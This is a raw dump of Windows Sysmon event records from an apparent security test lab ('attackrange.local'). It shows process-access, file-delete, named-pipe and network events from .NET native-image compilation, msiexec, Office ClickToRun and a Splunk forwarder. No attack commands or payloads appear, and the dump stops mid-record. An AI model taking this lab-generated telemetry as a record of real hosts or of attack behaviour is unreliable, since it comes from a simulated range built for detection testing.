10341000x800000000000000042288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.523{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3D-613B-D808-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.523{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI5C51.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 18141800x800000000000000042286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.508{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.492{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3D-613B-D708-00000000F001}6164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.492{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.477{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3D-613B-D708-00000000F001}6164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.477{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3D-613B-D708-00000000F001}6164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.461{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000008.dbMD5=96A4A079FE6A01483F28CE4D8C5573ED,SHA256=CECE4E170415A9BA06A5FC6CBB74F44D0BD120F9410ECF2589FA11A99284AE9D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2549CE5F854ACD45607E065ECE56E7BE,SHA256=E450CCA2290C6F5F23EE38C72BEEA6C6D0BD18D518AC02A466223E0497D8687D,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.414{7BD73061-6F3D-613B-D608-00000000F001}5948NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\BWY23HAQ7S\Microsoft.VisualBasic.Compatibility.Data.ni.dll.auxMD5=B4ADD3CAE4DE2DC540F10C748410F9A4,SHA256=568C4A1E1137226D9D3771A3F4266C5BCB7CBB1E4B42B6ACC96A357AE34563D1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.414{7BD73061-6F3D-613B-D608-00000000F001}5948NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\BWY23HAQ7S\Microsoft.VisualBasic.Compatibility.Data.ni.dllMD5=E0C099FD3A9CF1531C1FAB5270288C56,SHA256=A9BFCB632D86A9844B8A935BC5A6B37258B2496F601A65AE2AD2825703998CD7,IMPHASH=00000000000000000000000000000000truetrue 11241100x800000000000000042268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:13.398{7BD73061-6F3D-613B-D608-00000000F001}5948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\173c-0\Microsoft.VisualBasic.Compatibility.Data.dll2021-09-10 14:44:13.398 18141800x800000000000000042267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.352{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.352{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.352{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=571868EC1122B9615FCA6EB29EB0CF49,SHA256=B99E7573AE2EFBC352E3BBCA780AB7BD0068E09B6F6DAC4DEF908AD8126453B8,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.242{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI5A3C.tmpMD5=9CADBFA797783FF9E7FC60301DE9E1FF,SHA256=C1EDA5C42BE64CFC08408A276340C9082F424EC1A4E96E78F85E9F80D0634141,IMPHASH=652859BF844DA7396CCD2DCBC07B8FD2truetrue 10341000x800000000000000042261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.242{7BD73061-6F3C-613B-D408-00000000F001}69686132C:\Windows\syswow64\MsiExec.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\syswow64\MsiExec.exe+7291|C:\Windows\syswow64\MsiExec.exe+7873|C:\Windows\syswow64\MsiExec.exe+9201|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.242{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.227{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.211{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3C-613B-D408-00000000F001}6968C:\Windows\syswow64\MsiExec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.164{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.086{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.086{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.086{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.055{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3D-613B-D608-00000000F001}5948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.039{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3D-613B-D608-00000000F001}5948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.039{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3D-613B-D608-00000000F001}5948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 354300x800000000000000013817Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:11.522{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50114-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013816Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:13.036{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D29F5A09EF5F66A453E3E8D7EC22C500,SHA256=76F79FCE6B74C24DA2862ED94603D5199C10E2576B85EB5AFA9F1A3D1D4EF8DC,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:14.977{7BD73061-6F3E-613B-E208-00000000F001}4948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1354-0\Microsoft.VisualStudio.Tools.Office.Runtime.dll2021-09-10 14:44:14.977 18141800x800000000000000042436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.945{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.945{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.945{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.883{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.820{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI61D5.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.820{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 